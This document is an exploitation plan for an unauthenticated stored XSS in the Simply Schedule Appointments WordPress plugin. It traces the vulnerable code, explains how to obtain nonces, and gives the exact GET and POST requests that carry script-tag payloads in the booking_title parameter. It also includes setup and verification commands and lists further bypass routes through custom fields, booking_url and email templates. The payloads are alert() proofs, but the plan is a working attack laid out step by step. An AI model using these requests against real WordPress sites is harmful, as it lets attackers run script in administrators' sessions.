Exploitation Research Plan - CVE-2026-39447

1. Vulnerability Summary

The Simply Schedule Appointments plugin (<= 1.6.10.6) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to properly sanitize and escape user-controlled input during the appointment booking process. Specifically, parameters passed to the booking iframe (like booking_title) are processed using a dangerous combination of functions (html_entity_decode(urldecode(esc_attr(...)))) that effectively bypasses attribute escaping, allowing an attacker to inject scripts that are stored in the database and subsequently executed in the context of an administrative user.

2. Attack Vector Analysis

• Endpoint: The booking iframe entry point, typically accessed via admin-ajax.php?action=ssa_booking_app_iframe_inner.
• Vulnerable Parameter: booking_title (and potentially booking_url or booking_post_id) passed via GET.
• Authentication: None required (Unauthenticated).
• Preconditions: An active "Appointment Type" must exist and be accessible via a public booking page or shortcode.

3. Code Flow

1. Entry Point: booking-app-new/iframe-inner.php
2. Processing (Lines 123-131):

   if( isset( $_GET['booking_title'] ) ) {
     // VULNERABLE: html_entity_decode reverses the protection of esc_attr
     $ssa_booking_url_settings['booking_title'] = html_entity_decode( urldecode( esc_attr( $_GET['booking_title'] ) ) );
   }
   

3. Variable Localization: The $ssa_booking_url_settings array is serialized into a JavaScript object (e.g., window.ssa_booking_app_info) and rendered into the iframe's HTML.
4. Submission: When a user completes a booking, the Vue.js app (booking-app-new/dist/static/js/app.js) includes this booking_title in the payload sent to the server (via AJAX action ssa_submit_appointment or similar).
5. Storage: includes/class-appointment-model.php processes the insert. While cleanup_customer_information (Line 233) sanitizes the customer_information array using sanitize_textarea_field, metadata fields like booking_title (stored in the appointments table) are often not subjected to the same level of filtering.
6. Execution: An administrator logs into the WordPress dashboard and views the "Appointments" list. The Admin App (admin-app/dist/static/js/app.js) fetches the appointment data via the REST API and renders the booking_title using a method that does not escape HTML (e.g., v-html), triggering the XSS.

4. Nonce Acquisition Strategy

The booking iframe is loaded via a WordPress AJAX action. Unauthenticated users need the ssa_booking_app_iframe_inner action to load the app.

1. Shortcode Identification: The plugin uses the [ssa_booking] shortcode.
2. Setup: Create a public page with this shortcode.
3. Extraction:
   • Navigate to the created page.
   • The plugin localizes data into the global ssa_booking_app_info object.
   • Use browser_eval to extract the iframe URL and any required nonces.
   • JS Variable: window.ssa_booking_app_info
   • Nonce Key: window.ssa_booking_app_info?.nonce (for the booking submission) or window.ssa_booking_app_info?.iframe_url.

5. Exploitation Strategy

1. Initialize Environment: Create an appointment type and a public page with the [ssa_booking] shortcode.
2. Craft Payload:
   • booking_title: "><script>alert(document.domain)</script>
   • URL-encode the payload for the initial GET request.
3. Step 1: Load Booking Iframe:
   Request the iframe with the malicious parameter:
   GET /wp-admin/admin-ajax.php?action=ssa_booking_app_iframe_inner&booking_title=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
4. Step 2: Submit Booking:
   In the context of the booking app, perform a POST request to book a slot. The payload must include the malicious booking_title.
   • URL: /wp-admin/admin-ajax.php
   • Body: action=ssa_submit_appointment&appointment_type_id=1&start_date=...&booking_title="><script>alert(1)</script>&customer_information[name]=Attacker&customer_information[email]=attacker@example.com
5. Step 3: Trigger XSS:
   Login as an Admin and navigate to wp-admin/admin.php?page=simply-schedule-appointments. The app will load the appointments list, fetch the malicious record, and execute the script.

6. Test Data Setup

1. Create Appointment Type:

   wp ssa create_appointment_type --title="Consultation" --slug="consultation"
   

2. Create Booking Page:

   wp post create --post_type=page --post_title="Book Now" --post_status=publish --post_content='[ssa_booking type="consultation"]'
   

7. Expected Results

• The booking submission is successful, and a new appointment record is created in the wp_ssa_appointments table.
• The booking_title column for the new record contains the raw script tag "><script>alert(document.domain)</script>.
• When the Admin views the SSA dashboard, a JavaScript alert with the site's domain appears.

8. Verification Steps

1. Check Database:

   wp db query "SELECT booking_title FROM wp_ssa_appointments ORDER BY id DESC LIMIT 1"
   

   Confirm the output matches the injected payload.
2. Check Admin UI:
   Navigate to the SSA dashboard in the browser and verify the alert triggers.

9. Alternative Approaches

• Custom Field Bypass: If booking_title is sanitized, check if "Custom Fields" (defined in custom_customer_information) are rendered using v-html in the admin view. Even if sanitize_textarea_field is used on save, it allows many characters that Vue's v-html might process dangerously if the context is an attribute.
• booking_url Parameter: Test if $_GET['booking_url'] is handled similarly to booking_title in iframe-inner.php.
• Notification Templates: The plugin allows admins to customize email notifications. If these templates support placeholders like {{booking_title}} and are rendered in an admin-accessible "Preview" mode, the XSS could trigger there.